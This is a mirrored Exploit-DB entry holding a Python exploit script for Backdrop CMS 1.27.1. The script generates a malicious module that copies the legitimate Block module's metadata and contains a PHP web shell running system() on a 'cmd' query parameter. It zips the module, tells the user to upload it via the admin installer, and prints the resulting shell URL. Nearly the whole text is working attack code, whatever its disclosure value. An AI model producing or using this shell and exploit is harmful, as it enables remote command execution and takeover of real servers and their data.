Backdrop CMS 1.27.1 – Authenticated Remote Command Execution (RCE) - 体验盒子

作者： Ahmet Ümit BAYRAM

日期： 2024-05-19

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/52021/

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# Exploit Title: Backdrop CMS 1.27.1 - Authenticated Remote Command Execution (RCE)

# Date: 04/27/2024

# Exploit Author: Ahmet Ümit BAYRAM

# Vendor Homepage: https://backdropcms.org/

# Software Link: https://github.com/backdrop/backdrop/releases/download/1.27.1/backdrop.zip

# Version: latest

# Tested on: MacOS

import os

import time

import zipfile

def create_files():

info_content = """

type = module

name = Block

description = Controls the visual building blocks a page is constructed

with. Blocks are boxes of content rendered into an area, or region, of a

web page.

package = Layouts

tags[] = Blocks

tags[] = Site Architecture

version = BACKDROP_VERSION

backdrop = 1.x

configure = admin/structure/block

; Added by Backdrop CMS packaging script on 2024-03-07

project = backdrop

version = 1.27.1

timestamp = 1709862662

"""

shell_info_path = "shell/shell.info"

os.makedirs(os.path.dirname(shell_info_path), exist_ok=True)# Klasörüoluşturur

with open(shell_info_path, "w") as file:

file.write(info_content)

shell_content = """

<html>

<body>

</form>

<pre>

<?php

if(isset($_GET['cmd']))

{

system($_GET['cmd']);

}

?>

</pre>

</body>

</html>

"""

shell_php_path = "shell/shell.php"

with open(shell_php_path, "w") as file:

file.write(shell_content)

return shell_info_path, shell_php_path

def create_zip(info_path, php_path):

zip_filename = "shell.zip"

with zipfile.ZipFile(zip_filename, 'w') as zipf:

zipf.write(info_path, arcname='shell/shell.info')

zipf.write(php_path, arcname='shell/shell.php')

return zip_filename

def main(url):

print("Backdrop CMS 1.27.1 - Remote Command Execution Exploit")

time.sleep(3)

print("Evil module generating...")

time.sleep(2)

info_path, php_path = create_files()

zip_filename = create_zip(info_path, php_path)

print("Evil module generated!", zip_filename)

time.sleep(2)

print("Go to " + url + "/admin/modules/install and upload the " +

zip_filename + " for Manual Installation.")

time.sleep(2)

print("Your shell address:", url + "/modules/shell/shell.php")

if __name__ == "__main__":

import sys

if len(sys.argv) < 2:

print("Usage: python script.py [url]")

else:

main(sys.argv[1])